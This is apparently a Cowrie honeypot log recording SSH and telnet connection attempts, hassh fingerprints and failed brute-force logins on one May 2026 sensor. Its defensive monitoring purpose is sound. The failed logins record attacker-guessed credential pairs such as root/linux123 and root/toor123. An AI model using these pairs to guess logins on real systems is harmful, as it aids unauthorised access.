{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:44.928068Z","src_ip":"20.12.41.6","session":"886531046c60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:45.157198Z","src_ip":"20.12.41.6","session":"886531046c60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:46.175039Z","src_ip":"20.12.41.6","session":"886531046c60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41008,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6ecd984a45","protocol":"ssh","message":"New connection: 47.86.95.62:41008 (10.17.0.5:22) [session: ba6ecd984a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:50.499829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:07:50.503467Z","src_ip":"47.86.95.62","session":"ba6ecd984a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:04.063248Z","src_ip":"47.86.95.62","session":"60f736bb6327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":33512,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0691e1c2b0","protocol":"ssh","message":"New connection: 43.153.27.162:33512 (10.17.0.5:22) [session: 1a0691e1c2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:13.392075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:13.396858Z","src_ip":"43.153.27.162","session":"1a0691e1c2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:13.467249Z","src_ip":"43.153.27.162","session":"1a0691e1c2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:13.770225Z","src_ip":"43.153.27.162","session":"1a0691e1c2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.9.212.244","src_port":7146,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87209516f1a","protocol":"telnet","message":"New connection: 181.9.212.244:7146 (10.17.0.5:23) [session: e87209516f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:14.062628Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:14.840971Z","src_ip":"43.153.27.162","session":"1a0691e1c2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":32836,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a2fdd6a44e","protocol":"ssh","message":"New connection: 61.222.211.114:32836 (159.203.135.109:22) [session: c1a2fdd6a44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:17.016373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:17.019737Z","src_ip":"61.222.211.114","session":"c1a2fdd6a44e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:17.223385Z","src_ip":"61.222.211.114","session":"c1a2fdd6a44e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:18.075169Z","src_ip":"61.222.211.114","session":"c1a2fdd6a44e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:19.282962Z","src_ip":"61.222.211.114","session":"c1a2fdd6a44e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.906548023223877,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:26.969207Z","src_ip":"181.9.212.244","session":"e87209516f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.248","src_port":3418,"dst_ip":"159.203.135.109","dst_port":22,"session":"d435f17844f7","protocol":"ssh","message":"New connection: 118.26.36.248:3418 (159.203.135.109:22) [session: d435f17844f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:43.470800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:43.475389Z","src_ip":"118.26.36.248","session":"d435f17844f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:43.685679Z","src_ip":"118.26.36.248","session":"d435f17844f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c0139c70da","protocol":"ssh","message":"New connection: 47.86.95.62:33966 (10.17.0.5:22) [session: 87c0139c70da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:43.787710Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"somebody123","message":"login attempt [root/somebody123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:44.560181Z","src_ip":"118.26.36.248","session":"d435f17844f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:45.773936Z","src_ip":"118.26.36.248","session":"d435f17844f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"redhat","message":"login attempt [root/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:49.840035Z","src_ip":"47.86.95.62","session":"b64a80bcb7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":40268,"dst_ip":"159.203.135.109","dst_port":22,"session":"06fbb67d332f","protocol":"ssh","message":"New connection: 31.59.89.180:40268 (159.203.135.109:22) [session: 06fbb67d332f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:50.886490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:50.890113Z","src_ip":"31.59.89.180","session":"06fbb67d332f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:51.003644Z","src_ip":"31.59.89.180","session":"06fbb67d332f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:51.320852Z","src_ip":"47.86.95.62","session":"b64a80bcb7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor123","message":"login attempt [root/toor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:51.481584Z","src_ip":"31.59.89.180","session":"06fbb67d332f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:08:52.597253Z","src_ip":"31.59.89.180","session":"06fbb67d332f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":54614,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa3af2be12c","protocol":"ssh","message":"New connection: 20.12.41.6:54614 (10.17.0.5:22) [session: dfa3af2be12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:07.197358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:07.202396Z","src_ip":"20.12.41.6","session":"dfa3af2be12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:07.218957Z","src_ip":"20.12.41.6","session":"dfa3af2be12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:07.314520Z","src_ip":"20.12.41.6","session":"dfa3af2be12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:08.332906Z","src_ip":"20.12.41.6","session":"dfa3af2be12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:10.320908Z","src_ip":"47.86.95.62","session":"ba6ecd984a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.5","message":"Connection lost after 26.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:10.337804Z","src_ip":"47.86.95.62","session":"87c0139c70da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.212.206.6","src_port":50912,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b4c02825628","protocol":"telnet","message":"New connection: 14.212.206.6:50912 (159.203.135.109:23) [session: 0b4c02825628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:18.918566Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.87.69.240","src_port":34734,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d185ebbe4c","protocol":"telnet","message":"New connection: 88.87.69.240:34734 (159.203.135.109:23) [session: b8d185ebbe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:24.578370Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3ac748a2e22","protocol":"ssh","message":"New connection: 43.153.27.162:60570 (10.17.0.5:22) [session: d3ac748a2e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:29.375314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:29.380038Z","src_ip":"43.153.27.162","session":"d3ac748a2e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:29.448117Z","src_ip":"43.153.27.162","session":"d3ac748a2e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7758521","message":"login attempt [root/7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:29.750890Z","src_ip":"43.153.27.162","session":"d3ac748a2e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:30.822245Z","src_ip":"43.153.27.162","session":"d3ac748a2e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.311220645904541,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:09:32.229688Z","src_ip":"14.212.206.6","session":"0b4c02825628","protocol":"telnet"}
